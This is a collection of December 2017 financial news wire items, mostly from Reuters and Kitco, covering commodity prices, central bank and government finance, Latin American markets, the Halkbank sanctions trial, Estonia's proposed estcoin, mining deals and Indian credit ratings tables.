Iron ore for delivery to China's Qingdao port surged 3.7 percent to $74.15 a tonne on Monday, the strongest level since Sept. 13, according to Metal Bulletin.

"The rally in iron ore over recent months has wrong-footed many investors who anticipated that China's winter environmental controls would have a far more negative impact on the spot price than has been the case so far," Ric Spooner, chief market analyst at CMC Markets, said in a note.

Iron ore prices had largely followed those of steel, which had been spurred higher by tighter supply after China ordered 28 cities to curb steel output during winter to fight pollution.

Iron ore prices had rallied even as stockpiles of the commodity at China's ports continued to balloon.

Inventory of imported iron ore at the country's major ports reached 143.57 million tonnes as of Dec. 15, the highest since at least 2004, according to data tracked by consultancy SteelHome. Coking coal futures climbed 4.6 percent to 1,367 yuan a tonne, after soaring by their 8-percent limit on Monday.

Rebar on the Shanghai Futures Exchange slid 1.1 percent to 3,812 yuan a tonne, but was still up by 47 percent for the year.

(Reporting by Manolo Serapio Jr.; Editing by Joseph Radford)
WELLINGTON, Dec 19 (Reuters) - New Zealand business sentiment remained close to an eight-year trough in December on lingering uncertainty on policy direction under the new Labour-led government, an ANZ Bank survey showed on Tuesday.

The survey's headline measure showed a net 37.8 percent of respondents expected the economy to deteriorate over the year ahead. That compared with a 39.3 percent pessimism level, the lowest since the global financial crisis, in the previous poll.

"The change in policy direction that comes with a new Government has no doubt caused a degree of apprehension amongst businesses," said Sharon Zollner, chief economist at ANZ Bank.

This was the second ANZ business survey that encompassed firms' reactions to the new Labour-led government, which took the helm towards the end of October and ended nearly a decade of centre-right National Party rule.

One brighter spot was business' expectations for their own firms to grow in the next year, which picked up to a net 15.6 percent of respondents, from 6.5 percent the previous month.

(Reporting by Charlotte Greenfield; Editing by Shri Navaratnam)
HANOI, Dec 19 (Reuters) - Here's a snapshot of Vietnamese dong exchange rates in the official and unofficial markets, indicative SJC gold prices in Hanoi and interbank offered rates at 0411 GMT.

December 19 USD/VND mid-point 22,445 USD/VND interbank 22,714/22,715 USD/VND unofficial 22,770/22,785 SJC gold (mln dong/tael) 36.34/36.56

Interbank offered rates Overnight 0.6-1.1

1 week 0.7-1.2

1 month 2.1-2.5

3 months 4.3-5.0

NOTES: As of Jan. 4, 2016 the State Bank of Vietnam has begun setting the mid-point rate on daily basis, allowing dollar/dong transactions to move in a band of +/- 3 percent around the mid point. The dong's exchange rate against other currencies is not restricted by a band. Interbank offered rates are the latest indicative bid/ask prices, quoted from market sources.

One tael is equivalent to 37.5 grams or 1.21 troy ounces. SJC gold prices are quoted by state-owned Saigon Jewelry Co.

For more interbank rate fixings released at 0400 GMT, click on .

For Vietnam market overview click on: Vietnam's bonds market auctions: Bonds auction results: (Compiled by Hanoi Newsroom)
(Adds details about arbitration, quote from Corfo, context about Potash merger)

By Antonio De la Jara

SANTIAGO, Dec 18 (Reuters) - Chilean development agency Corfo and lithium company SQM have agreed to suspend their arbitration battle for 30 days as they make a new push to solve a dispute over mining royalties, Corfo said on Monday.

SQM and Corfo have been embroiled in a high-stakes arbitration since May 2014. The ongoing dispute has complicated Canadian Potash Corp of Saskatchewan's bid to divest its stake in SQM as part of its proposed merger with Canadian rival Agrium Inc . On Monday, SQM, Pampa Calichera and Potash met with Eduardo Bitran, head of Corfo, to reopen the discussion. Pampa Calichera, which controls SQM, presented a proposal to overhaul the companys corporate governance structure, a key condition put forward by Corfo, the agency said in a statement.

Details of the proposed new arrangement were not disclosed.

"SQM has expressed its willingness to consider the conditions proposed by Corfo in a new conciliation process," Corfo said.

If the new round of negotiations is successful and the dispute resolved, Chile would be able to expand its lithium production "significantly," Corfo said.

Talks between Corfo and SQM collapsed in October, leaving a decision in the arbitration case to a judge.

Chilean authorities have accused SQM of underpaying royalties and violating environmental regulations in the Salar de Atacama, home to some of the world's most productive lithium deposits.

Potash CEO Jochen Tilk met last week with authorities in Chile to discuss the still unresolved arbitration case, which has cast uncertainty over the sale of its shares in SQM. Regulators in India have given Potash until April of 2019 to divest its stake. (Reporting by Antonio de la Jara; Writing by Dave Sherwood and Mitra Taj; Editing by James Dalgleish)
ROME, Dec 19 (Reuters) - Bank of Italy Governor Ignazio Visco said on Tuesday he had declined to answer Matteo Renzi when the former prime minister had tried to speak to him about local banks in difficulty.

Visco told a parliamentary commission that Renzi spoke to him in 2014 about a possible interest by Banca Popolare di Vicenza in buying Banca Etruria, two lenders which eventually collapsed.

"I didn't answer him," Visco told the commission set up to look into numerous crises at Italian lenders in recent years. He added that he only spoke to Economy Minister Pier Carlo Padoan about banking supervision.

Renzi, the leader of the ruling Democratic Party, has criticised the central bank's oversight of the banking sector and he opposed Visco's reappointment in October.

Visco also said one of Renzi's closest allies, cabinet undersecretary Maria Elena Boschi, had told a Bank of Italy board member she was worried about the effects of Banca Etruria's problems on the local economy.

Boschi's father was a board member at the bank, which is based in her home town of Arezzo.

Visco said Boschi had not asked for any specific intervention to help Banca Etruria, or exerted any political pressure.

(Reporting by Giuseppe Fonte, Writing by Gavin Jones; Editing by Crispian Balmer)
ROME, Dec 19 (Reuters) - Bank of Italy Governor Ignazio Visco on Tuesday defended his record before parliament, saying the collapse of numerous banks in the past two years was not due to careless supervision but to a deep, double dip recession.

Addressing a special parliamentary commission, Visco denied that the central bank had acted late in preventing banking scandals or had underestimated the effect of the economic downturn on banks' balance sheets.

"The marked deterioration of banks' assets and the crises of recent years were above all the inevitable consequence of the deep, double-dip recession that hit the Italian economy," he said.

(Reporting by Giuseppe Fonte, writing by Gavin Jones; editing by Philip Pullella)
BRASILIA, Dec 19 (Reuters) - Brazilian Finance Minister Henrique Meirelles on Tuesday acknowledged the risk of a sovereign downgrade before Congress votes early next year on a plan to cut social security spending. Lawmakers last week put off a vote on the unpopular pension reform bill to February, edging closer to the 2018 presidential and parliamentary elections. (Reporting by Bruno Federowski and Marcela Ayres Editing by Chizu Nomiyama)

Disclaimer: The views expressed in this article are those of the author and may not reflect those of Kitco Metals Inc. The author has made every effort to ensure accuracy of information provided; however, neither Kitco Metals Inc. nor the author can guarantee such accuracy. This article is strictly for informational purposes only. It is not a solicitation to make any exchange in commodities, securities or other financial instruments. Kitco Metals Inc. and the author of this article do not accept culpability for losses and/ or damages arising from the use of this publication.
SANTIAGO, Dec 19 (Reuters) - An important challenge for Chile's incoming President Sebastian Pinera will be jump-starting investments to counter the economy's slowdown, Chile's central bank chief said Tuesday after meeting with Pinera. "What the next president is going to find is an economy that's growing but still at just a moderate pace," Mario Marcel told journalists on leaving Pinera's house. Pinera will begin a second term as president of the world's top copper producer in March after winning Sunday's election. (Reporting By Antonio de la Jara; Editing by Jonathan Oatis)

Disclaimer: The views expressed in this article are those of the author and may not reflect those of Kitco Metals Inc. The author has made every effort to ensure accuracy of information provided; however, neither Kitco Metals Inc. nor the author can guarantee such accuracy. This article is strictly for informational purposes only. It is not a solicitation to make any exchange in commodities, securities or other financial instruments. Kitco Metals Inc. and the author of this article do not accept culpability for losses and/ or damages arising from the use of this publication.
SAO PAULO, Dec 19 (Reuters) - Brazil's Bovespa equities index led losses among Latin American markets on Tuesday amid ongoing concerns over the nation's fiscal health after a court struck down a measure intended to control government spending.

On Monday, Brazil's Supreme Court suspended the effects of a decree by President Michel Temer, which would have put off adjustments to the salaries of federal workers for a year. That came as Brazil's Finance Minister Henrique Meirelles begins talks with major ratings agencies in a bid to avoid a credit downgrade, after lawmakers put off a vote on a key pension reform until February.

"Another blow to fiscal adjustment, given that the measure should bring 4.4 billion reais ($1.34 billion) of savings next year," analysts at local brokerage Coinvalores said of the Supreme Court decision in a note to clients.

Meirelles said in a radio interview on Monday that he will tell major ratings agencies this week that delaying a vote on a pension bill seen important to shoring up the nation's fiscal accounts does not mean it will not be passed. However, key lawmakers have warned that February is effectively the last chance for the unpopular bill. Brazil's Bovespa had dropped 0.53 percent by midday.

Chile's blue-chip IPSA index posted mild gains on Tuesday, as markets continue to price in the unexpectedly dominant win of investor favorite Sebastian Pinera in elections over the weekend. "Despite the fact that Sebastian Pinera's coalition will not have a majority in Congress, the change in government presents an opportunity to improve business confidence and should foster a continued macroeconomic rebound," Fitch said in a note. Lithium company SQM was the big gainer on the IPSA, opening up over 6 percent on Tuesday, after it agreed with state development agency Corfo to suspend an arbitration battle for 30 days. ($1 = 3.29 reais)

Key Latin American stock indexes and currencies at 1419 GMT:

Stock indexes daily % YTD %

Latest change change MSCI Emerging Markets 1134,98 0,41 31,09 MSCI LatAm 2769,53 -0,5 18,92

Brazil Bovespa 72730,78 -0,53 20,76

Mexico S&P/BVM IPC 0,00 0 -100,00 Chile IPSA 5598,59 0,05 34,86

Chile IGPA 28076,53 0,06 35,41

Argentina MerVal 27137,32 0 60,41

Colombia IGBC 11099,57 0 9,59

Venezuela IBC 1291,05 0 -95,93

Currencies daily % YTD %

change change

Latest Brazil real 3,2866 0,30 -1,14

Mexico peso 19,1130 -0,16 8,53

Chile peso 621,3 -0,02 7,95

Colombia peso 2971,36 0,12 1,01 Peru sol 3,255 0,77 4,88

Argentina peso (interbank) 17,4700 0,60 -9,13 Argentina peso (parallel) 18,2 -0,60 -7,58 (Reporting by Gram Slattery; Editing by Susan Thomas)
By Francesco Canepa

FRANKFURT, Dec 19 (Reuters) - Estonia could become the first country in Europe to launch its own digital means of exchange -- the "estcoin" -- under plans outlined by the manager of its pioneering e-residency scheme, in place since 2014.

Kaspar Korjus said in a blog post that the estcoin would be aimed at the Baltic country's 27,000 e-residents -- foreigners who open a company there via the web -- but would not be a parallel currency to rival the euro.

This year's meteoric surge in the value of Bitcoin has focused fresh attention on digital or cryptocurrencies, which to date have all been launched by private companies but are now being considered by some governments and central banks.

Korjus said estcoins could serve one of three purposes: rewarding services to the e-resident community, verifying one's identity online, or as a means of payment pegged to the euro.

"All three of these models of estcoin are viable and can be introduced (even without alarming the European Central Bank)," Korjus wrote in the blog post.

Estonia's central bank governor Ardo Hansson later said the estcoin was not a government initiative and that the central bank had not been consulted.

First floated in the summer, the idea of an estcoin was rebuffed by ECB President Mario Draghi, who said in September the only currency of the euro zone was the euro. An ECB spokesman would not comment further on Tuesday.

Korjus stressed the estcoin would simply be a "token" and not compete with the single currency.

But the third of Korjus's possible designs, which he labels "euro estcoin", envisaged that it would work as a parallel means of payment that bypasses the banking sector.

"We would never provide an alternative currency to the euro, but it's possible that we could combine some of the decentralised advantages of crypto with the stability and trust of fiat currency and then limit its use within the e-resident community," he said.

And the first version, described as a "community estcoin", would it see openly traded on traditional and cryptocurrency exchanges at a later stage.

That could put Estonia on a collision course with the ECB if estcoin adoption was wide enough to have an impact on the euro zone economy and so interfere with Frankfurt's monetary policy.

The numbers are small so far, however. A Deloitte report cited by Korjus estimates that e-residents brought 14.4 million euros to Estonia in the scheme's first three years and foresaw a rise to 1.8 billion euros by 2025.

Venezuelan President Nicolas Maduro announced earlier this month the launch of the "petro", a digital currency backed by oil reserves, to shore up his country's collapsed economy and circumvent U.S.-led financial sanctions.

In Europe, Sweden's central bank has said it may introduce an e-version of the crown currency as the use of cash declines while Bank of England is also pondering whether to introduce a digital currency for use by businesses and households. But Denmark's central bank said "no" to its own e-crown last week. The ECB has been lukewarm on the subject but Executive Board member Yves Mersch said recently it would experiment with "cash on different digital technologies".

(Additional reporting by David Mardiste in Tallinn; Editing by Catherine Evans) Keywords: BITCOIN ESTONIA/ESTCOIN
By Brendan Pierson

NEW YORK, Dec 19 (Reuters) - U.S. prosecutors on Tuesday urged a New York jury to find Mehmet Hakan Atilla, an executive at Turkey's majority state-owned Halkbank, guilty of helping Iran evade U.S. sanctions, while Atilla's lawyers said he was a "blameless pawn."

The closing arguments in Manhattan federal court capped off a three-week trial that has strained diplomatic relations between the United States and Turkey.

"This is a case about lies," Assistant U.S. Attorney Michael Lockard told the jury, saying Atilla lied to U.S. authorities that Halkbank was complying with sanctions.

Halkbank has denied involvement in illegal activities.

Lockard pointed to the testimony of Turkish-Iranian gold trader Reza Zarrab, who was charged in the case but pleaded guilty and testified for the prosecutors.

Zarrab testified that Atilla helped design fraudulent gold and food transactions that allowed Iran to spend its oil and gas revenues abroad, including through U.S. financial institutions, defying U.S. sanctions.

Atilla denied conspiring with Zarrab while testifying in his own defense during the trial.

Lockard said Zarrab's testimony was supported by other evidence, including an April 2013 message in which Halkbank's then-general manager, Suleyman Aslan, asked Zarrab if he had any problem with "the method proposed by Hakan Atilla."

Attempts by Reuters to reach Aslan for comment have been unsuccessful.

Lockard also said that Zarrab's scheme continued even as Aslan and others at the bank were replaced.

"The only person who's been involved at every step is Mr. Atilla," he said.

Atilla's lawyer, Victor Rocco, said Zarrab was not credible. He noted that Zarrab had hired prominent American lawyers to try to negotiate his release through diplomacy, and said he decided to turn on Atilla after that failed.

"Hakan Atilla is a blameless pawn, collateral damage in a story that belongs in The Twilight Zone, not in American court," Rocco said.

Rocco argued that evidence pointed to Atilla's innocence. He cited a call in which Zarrab told one of his employees that Atilla "threw a wrench in the gears," but that Zarrab resolved the problem by going to Aslan.

Rocco also pointed to an April 2013 call in which Zarrab said he lied to Atilla, even though Zarrab had said Atilla was already in on the scheme by October 2012.

"If in October of 2012 Hakan Atilla was part of a conspiracy with Zarrab, why is Zarrab lying to him six months later?" Rocco asked.

U.S. prosecutors charged nine people in the criminal case, though only Zarrab, 34, and Atilla, 47, have been arrested by U.S. authorities.

U.S. District Judge Richard Berman is expected to instruct the jury Wednesday morning, after which jurors will begin deliberating on the case.

(Reporting By Brendan Pierson in New York; editing by Clive McKeef)
Junior mining company Skeena Resources Ltd. (TSXV: SKE) says it has signed an agreement with Barrick Gold Corp. (NYSE, TSX: ABX), the worlds largest gold producer, giving Skeena an option to acquire the past-producing Eskay Creek property in the Golden Triangle of British Columbia. Eskay Creek was a remarkable discovery that became an extraordinary mine, says Skeenas chief executive, Walter Coles Jr. It produced 3.3 million ounces of gold and 160 million ounces of silver from 2.2 million tonnes of ore from 1994 until closure in 2008. Under the option agreement, Skeena may acquire a 100% interest in Eskay for incurring C$3.5 million in exploration spending in the next two years and pay Barrick C$10 million once certain conditions have been met. There is also a stipulation calling for reimbursement to Barrick for reclamation expenditures. Barrick will retain a 1% net smelter return on parts of the property not already subject to royalties. Also, Barrick will maintain a back-in right to purchase a 51% interest in the property, which may be exercised during a 12-month period following notification by Skeena of a NI 43-101 resource of at least 1.5 million ounces of gold (or equivalent). In connection with the investment, Skeena says it will issue 1.25 million flow-through common shares at 80 Canadian cents each for gross proceeds of C$1 million, subject to approval by the TSX Venture Exchange.

By Allen Sykora of Kitco News; asykora@kitco.com

Sandstorm Acquires Royalty From Acacia Mining

Gold streaming and royalty company Sandstorm Gold Ltd. (NYSEAMERICAN: SAND, TSX: SSL) says it has agreed to purchase an existing 2% net-smelter-return royalty on the Hounde gold mine in Burkina Faso, operated by Endeavour Mining Corp (TSX: EDV). The royalty will be acquired from Acacia Mining Plc for $45 million in cash and covers the Kari North and Kari South tenements, representing approximately 500 square kilometers of the Hounde property package. Nearly the entire Hounde mineral reserve of 2.1 million ounces (as of December 2014) is located on the Kari North and Kari South tenements, including the Vindaloo deposit and most of the Bouere deposit. The royalty acquisition is expected to close in January, Sandstorm says.

By Allen Sykora of Kitco News; asykora@kitco.com

Great Panther Silver Receives Permits For Topia Mine

Great Panther Silver Ltd. (TSX: GPR; NYSE American: GPL) says that it has received all permits for construction and operation of the new second-phase tailings storage facility at its Topia Mine in Mexico. "We will be commencing imminently the construction of Phase II and have sufficient remaining capacity at Phase I to continue mining operations allowing a seamless transition to deposition at Phase II," says James Bannantine, president and chief executive officer. The permits and the modifications to the processing plant earlier in the year will allow disposal of dry-stack tailings under the company's current operating plan for the Topia Mine.
HONG KONG, Dec 19 (Reuters) - The Hong Kong dollar on Tuesday fell to its weakest against the U.S. dollar in three months, triggered by strong demand for the greenback as the year draws to a close, analysts said.

They expect the local currency to fall further in the coming months as the Hong Kong Monetary Authority (HKMA) ruled out the possibility to issue extra Exchange Fund Bills & Notes (EFBN) in the near term, which would otherwise help support its currency.

Earlier in the session, the Hong Kong dollar touched 7.8211 per dollar, its lowest since Sept. 7.

"Heading to the year-end, we look for further HKD weakness as the HKMA granted the green light for HKD depreciation to its weak side of convertibility of 7.85 and verbally removed the threat of extra EFBNs issuance in the near term," said Ken Cheung, senior Asian FX strategist, Mizuho Bank.

The HKMA issued HK$80 billion ($10.3 billion) worth of Exchange Fund Bills since early August, though the city's de-facto central bank said the issuance had nothing to do with the Hong Kong dollar's weakness. Local media last week cited Norman Chan, head of HKMA, as saying issuance of the additional HK$80 billion helped meet market's demand, and HKMA had no plans to issue more for the time being.

In the long term, the U.S. Federal Reserve's monetary policy normalization and a likely U.S. tax cut could also bring capital repatriation to the U.S. market, and in turn, build up capital outflow pressure from the HKD market, Cheung said.

The Hong Kong dollar, pegged against the greenback, fluctuated between a range of 7.75 and 7.85, and would require HKMA intervention if it hits either end of the currency band.

(Reporting by Michelle Chen; Editing by Sherry Jacob-Phillips)
BUDAPEST, Dec 19 (Reuters) - Hungary's new domestic euro-denominated bond would have a 2- to 5-year maturity, government debt agency Chief Executive Gyorgy Barcza told a news conference on Tuesday. Economy Minister Mihaly Varga added that the amounts offered as well as the frequency of the new bond tenders would be determined later. He also said Hungary would receive 300 billion to 600 billion forints ($1.13 billion to $2.26 billion) worth of European Union funds by the end of 2017. ($1 = 265.4 forints)

(Reporting by Krisztina Than and Gergely Szakacs)

Disclaimer: The views expressed in this article are those of the author and may not reflect those of Kitco Metals Inc. The author has made every effort to ensure accuracy of information provided; however, neither Kitco Metals Inc. nor the author can guarantee such accuracy. This article is strictly for informational purposes only. It is not a solicitation to make any exchange in commodities, securities or other financial instruments. Kitco Metals Inc. and the author of this article do not accept culpability for losses and/ or damages arising from the use of this publication.
Dec 19 (Reuters) - Below are the ratings awarded by Investment Information Credit Rating Agency Ltd. (ICRA) for local debt instruments as of December 18, 2017.

COMPANY INSTRUMENT RATING AMOUNT MOVEMENT

(RS.MLN) ------ ---------- ------ ----- --------- SHORT TERM RATINGS: ------------------- Art Affordable Housing Finance Bk Fac ICRA BBB 50 500 (India) Ltd Barclays Bank Plc (India PTC Series A1 ICRA 6088.3 Withdrawn Operations) A1+(SO) Bhavin Agri-Infra Pvt Ltd Non-fund based limits ICRA A4 140 Issuer Not Cooperating Chandra Singh Contractors ST: NFBL ICRA A4 9 Review process is underway Futuristic Packaging Pvt. Ltd PC/PCFC* ICRA A4 *Sub-limit of cash credit. Review process is underway Futuristic Packaging Pvt. Ltd FDBP/FUDBP* ICRA A4 *Sub-limit of cash credit. Review process is underway Futuristic Packaging Pvt. Ltd BG ICRA A4 1.5 Review process is underway Futuristic Packaging Pvt. Ltd LOC ICRA A4 50 Review process is underway Futuristic Packaging Pvt. Ltd Forward Exchang ICRA A4 3.5

Contract Review process is underway Ganesha Ecosphere Ltd ST fund- based Fac ICRA A2+ 35 outstanding Ganesha Ecosphere Ltd ST non-FB Fac ICRA A2+ 102 outstanding Janalakshmi Financial Services CP ICRA A2+ 9000 Revised from Ltd ICRA A1 Lh Sugar Factories Ltd Non-FBL ICRA A2+ 50 Reaffirmed Opg Power Generation Pvt Ltd Non-FBL (LC) ICRA A1 4431.5 Withdrawn Pioneer Fil-Med Pvt Ltd Non Fund based- BG ICRA A4 90 Issuer Not Cooperating Quality Foils (India) Pvt Ltd Non-Fund based- BG ICRA A4+ 120 Issuer Not Cooperating Ramkrishna Forgings Ltd Non-fund ICRA A2+ 2400 Reaffirmed

based-Working Capital

240 Fac Tata Business Support Services CP Programme** ICRA A1+ 50 Reaffirmed Ltd **Commercial paper carved out of existing working capital limits Tata Power Delhi Distribution ST Debt ICRA A1+ 2000 Reaffirmed Ltd Tata Power Delhi Distribution CP ICRA A1+ 3000 Reaffirmed Ltd Tata Power Delhi Distribution Non-fund based - ICRA A1+ 7250 Reaffirmed Ltd Working Capital Fac MEDIUM TERM RATINGS: ------------------- Sri Sarvaraya Sugars Ltd Unallocated Limits MB+ 73.9 Reaffirmed

Fixed Deposit LONG TERM RATINGS: ------------------- Adam & Coal Resources Pvt Ltd Bk Fac ICRA BBB 950

/A3+ Issuer Not Cooperating Bhavin Agri-Infra Pvt Ltd FBL ICRA B+ 20 Issuer Not Cooperating Chandra Singh Contractors LT: FBL ICRA BB 94.5 Review process is underway Ess Kay Fincorp Ltd NCD Programme (Tier ICRA BBB 165 Withdrawn

II Debt) Future Financial Services Pvt PTC Series A1 ICRA A-(SO) 121.4 Withdrawn Ltd Future Financial Services Pvt PTC Series A1 ICRA A+(SO) 444.1 Withdrawn Ltd Future Financial Services Pvt PTC Series A1 ICRA 117.2 Withdrawn Ltd AA-(SO) Future Financial Services Pvt PTC Series A2 ICRA BBB- 29.2 Withdrawn Ltd (SO) Futuristic Packaging Pvt. Ltd CC ICRA BB- 91 Review process is underway Futuristic Packaging Pvt. Ltd TL ICRA BB- 40 Review process is underway Futuristic Packaging Pvt. Ltd Unallocated Limits ICRA BB- 4 Review process is underway Ganesha Ecosphere Ltd LT FB TL Fac ICRA A- 672 outstanding Ganesha Ecosphere Ltd LT FB working capital ICRA A- 1015 outstanding

Fac Ganesha Ecosphere Ltd LT non-FB Fac ICRA A- 16 outstanding Ganesha Ecosphere Ltd LT/ST- Unallocated ICRA 290 outstanding

A-(Stable)/

ICRA A2+; Janalakshmi Financial Services LT Bk Fac ICRA A- 13000 Revised from Ltd ICRA A Janalakshmi Financial Services Subordinated Debt ICRA A- 7510 Revised from Ltd ICRA A Janalakshmi Financial Services NCDs ICRA A- 37160 Revised from Ltd ICRA A Krishna Tuff Pvt Ltd TL ICRA B 43.2 Issuer Not Cooperating Krishna Tuff Pvt Ltd CC ICRA B 15 Issuer Not Cooperating Krishna Tuff Pvt Ltd Unallocated Limits ICRA B 11.8 Issuer Not Cooperating Lh Sugar Factories Ltd FB Limits ICRA A- 850 Reaffirmed Lh Sugar Factories Ltd TL ICRA A- 983.3 Reaffirmed One Capitall Ltd LT Fund Based Bk LinesICRA BB 900 Review process is underway Opg Power Generation Pvt Ltd TL ICRA A+ 15676.5 Withdrawn Opg Power Generation Pvt Ltd FB limits ICRA A+ 1950 Withdrawn Opg Power Generation Pvt Ltd Non-FBL (BG) ICRA A+ 1748.5 Withdrawn Orange Dnd Wind Power Pvt. Ltd. TL ICRA BBB 1260 Reaffirmed Orange Dnd Wind Power Pvt. Ltd. CC ICRA BBB 60 Reaffirmed Pioneer Fil-Med Pvt Ltd Fund based-CC ICRA BB- 90 Issuer Not Cooperating Pioneer Fil-Med Pvt Ltd Fund based-TL ICRA BB- 12.1 Issuer Not Cooperating Pioneer Fil-Med Pvt Ltd LT/ST-Unallocated ICRA BB- /A4 7.9 Issuer Not Cooperating Quality Foils (India) Pvt Ltd Fund based-CC ICRA BB+ 230 Issuer Not Cooperating Ramkrishna Forgings Ltd FB-TL 380 ICRA A- 3800 Reaffirmed Ramkrishna Forgings Ltd Fund based- Working ICRA A- 4000 Reaffirmed

Capital Fac 400 Shree Krishna Rice Mills Fund Based ICRA B- 150 Issuer Not Cooperating Sri Sarvaraya Sugars Ltd TL ICRA B+ 829.5 Reaffirmed Sri Sarvaraya Sugars Ltd FB Limits ICRA B+ 1320 Reaffirmed

Programme Swarna Tollway Pvt Ltd NCD Programme Provisional 1060 Assigned

ICRA AAA(SO) Swarna Tollway Pvt Ltd NCD Provisional 140 Assigned

ProgrammeUnalloacted ICRA AAA(SO) Tata Business Support Services FB Limits ICRA A+ 430 Reaffirmed Ltd Tata Business Support Services FB/Non-FBL ICRA 350 Reaffirmed Ltd A+/ICRA A1+ Tata Business Support Services LT/ST Non-FBL ICRA 170 Reaffirmed Ltd A+/ICRA A1+ Tata Power Delhi Distribution Fund based - TL ICRA AA- 39000 Reaffirmed Ltd Tata Power Delhi Distribution Fund based - Working ICRA AA- 2450 Reaffirmed Ltd Capital Fac Unify Texturisers Pvt Ltd Fund based - TL ICRA BB- 650 Withdrawn Unify Texturisers Pvt Ltd Fund based - CC ICRA BB- 70 Withdrawn Unify Texturisers Pvt Ltd Fund based/ Non FB ICRA BB- / 0 Withdrawn

Limits ICRA A4 -------------------------------------------------------------------------------------------- $: Rating watch with positive implication #: Rating Watch with Developing implications @: Rating Watch with Negative Implications %: Rating under Credit Watch wd -Rating Stands Withdrawn sp -Rating Suspended pp -Principal Protected pn -Principal Not Protected ICRA may apply + or - signs for ratings to reflect a comparative standing within the category. BG-Bank Guarantee; CC-Cash Credit; CCPS-Cumulative Convertible Preference Share; CD-Certificate of Deposit; CLO-Collateralized Loan Obligation; CPA-Claims Paying Ability; CP-Commercial Paper; CPS-convertible preference shares; CRPS- Cumulative Redeemable Convertible Preference shares; DDB-Deep Discount Bond; EPBI-Exchange premium bond; FBL-Fund Based Limits; FRB/FRN -Floating Rate Bond/Note; ICD -Inter Corporate Deposit; ITD-Immediate Term Debt; LOC-Letter of Credit; LT -Long Term; LTB -Long Term Borrowing; LTD -Long Term Debt; MOCD-multiple option convertible debenture; MTD -Medium term Debenture; MTN-medium term notes; NCD(SO) - Non-Convertible Debenture-(Structured Obligation); NCD-Non-convertible Debentures; NCRB-Non Convertible Redeemable Bonds; NM-Not Meaningful; OCD-optionally convertible debenture; OD-Over Draft; OFCD-Optionally Fully Convertible Debenture; PCD-Partially Convertible Debenture; PCN-partly convertible notes; PCPS-Partly Convertible Preference Share; POCD-partly optional; PP-privately placed; PSPC-Post Shipment & Packing Credit; PS-Preference Shares; PTC-Pass Through Certificates; RPS-Redeemable Preference Shares; SCPN-secured convertible preference notes; SDO-Structured Debt Obligation; SLR-Statutory Liquidity Ratio; SO-Structured Obligation; SPCD - Secured Partly Convertible Debentures; SPN-secured premium notes; STB-Short Term Bond; STD-Short Term Debentures; ST-Short Term; Sub. Bonds-Subordinate Bonds; TB-Taxable Bond; TFB-Tax Free Bond; TL-Term Loan; TOCD-triple option convertible debentures. (Mumbai Rate Reporting Unit + 91 22 6180 7222 / 3317 7222 , E-mail at rru.data@thomsonreuters.com)

Keywords: INDIA RATINGS/
Dec 19 (Reuters) - India's Tata Steel Ltd has approved a rights issue to raise up to 128 billion rupees ($2 billion) to fund capacity expansion at a plant in the eastern state of Odisha, and to cut debt.

The company's Kalinganagar plant will be expanded by 5 million tonnes per annum (tpa) to 8 million tpa, entailing a total investment of 235 billion rupees, the company said in a statement. The expansion is expected to meet growing demands from the automotive and general engineering segments, it said.

The project, which is expected to be completed in 4 years, will be funded through a combination of equity and debt.

($1 = 64.0250 Indian rupees)

(Reporting by Vishal Sridhar in Bengaluru; Editing by Biju Dwarakanath)
Dec 19 (Reuters) - A lawyer sought a temporary injunction on Tuesday to stop Houston from selling $1 billion of pension bonds until a lawsuit seeking to void voter approval of the debt can be heard in court.

But the sale of the taxable bonds through senior underwriters Barclays Capital and Jefferies was moving forward as planned on Tuesday, according to Max Moll, spokesman for Houston Controller Chris Brown.

The lawsuit, filed in Harris County District Court on Friday, contends the Nov. 7 ballot measure for the bonds mislead voters by failing to mention that money to pay off the debt would not be subject to Houston's property tax cap. It asks the court to void the election result.

Jerad Najvar, the attorney who filed the lawsuit on behalf of his client, Houston resident James Noteware, asked the court to assign a judge to the case who can hold a hearing this week on enjoining Houston from proceeding with the bond sale.

"I think it would be supremely arrogant and irresponsible for the city to proceed with the bond sale before the court can decide if the ballot language was misleading or not," Najvar told Reuters in an email.

Houston voters overwhelmingly approved the bond issue, which is a critical part of a 30-year, state-approved cost-saving plan to address the city's $8.2 billion unfunded pension liability. He said a notice went out to investors informing them of the litigation.

That notice also said the lawsuit would not impact the bonds. "Because the city is required to comply with the city charter revenue limitations as a condition for the attorney general to issue its approving opinion, no case or controversy is presented which would adversely affect issuance of the bonds," the notice said.

A statement from Houston Mayor Sylvester Turner's office called the lawsuit "factually and legally baseless."

"There was never any intent to avoid the revenue cap nor are there any facts indicating that we would," the statement said.

"We have able outside counsel who guide the city in demonstrating to the Texas Attorney General that we will not violate the cap, and have done so. So, again, obviously, the city did not mislead anyone."

(Reporting by Karen Pierog in Chicago; Editing by Matthew Lewis)
MILAN, Dec 19 (Reuters) - The Italian Treasury bought back on Tuesday five bonds maturing in 2018, 2019 and 2020 for a total of 3.225 billion euros ($3.8 billion) as it seeks to ease redemptions coming due in the next three years.

A June 2018 nominal BTP bond was repurchased for 351 million euros, an October 2019 BTP bond for 409 million euros and a June 2020 BTP bond for 1.0 billion euros.

Italy also bought back 1.34 billion euros of a floating-rate certificate due in November 2018 and 125 million euros of a December 2018 zero-coupon bond.

Primary dealers had offered to sell back to the Treasury a total of 10.03 billion euros in bonds.

Details of the buyback can be found at the Reuters pages and .

($1 = 0.8473 euros)

(Reporting by Valentina Za, editing by Francesca Landini)
LONDON, Dec 19 (Reuters) - The London Stock Exchange's board was accused on Tuesday of "bringing opprobium" on the 300-year old bourse in its dispute with top shareholder TCI.

LSE shareholders voted on Tuesday in a extraordinary general meeting on a resolution brought by TCI. It called for LSE Chairman Donald Brydon to be fired over his handling of the departure of former CEO Xavier Rolet, who left in November, a year earlier than planned.

"This is a very sorry affair, which has brough considerable opprobium on the company," Aubrey Franklin, a small shareholder for over 20 years who backed the resolution, told the meeting.

The TCI resolution is expected to be defeated after a string of institutional shareholders like BlackRock and Aviva indicated they would vote against it. The result will be published later on Tuesday.

"It seems to me the old boys network has got together and the establishment is winning out," Franklin said.

Paul Heiden, senior non-executive director at the LSE, said the board unanimously backed Brydon to remain in his post until the annual meeting in 2019.

(Reporting by Maiya Keidan and Huw Jones)
By Marja Novak

LJUBLJANA, Dec 19 (Reuters) - Slovenia, birth country of U.S. First Lady Melania Trump, expects revenues from foreign tourists to jump by about 9 percent this year and by at least 5 percent in 2018, Economy Minister Zdravko Pocivalsek said on Tuesday.

2017 will be the fourth record year in a row for Slovenian tourism after revenues from foreign tourists reached some 2.3 billion euros ($2.71 billion) last year, Pocivalsek told a news conference.

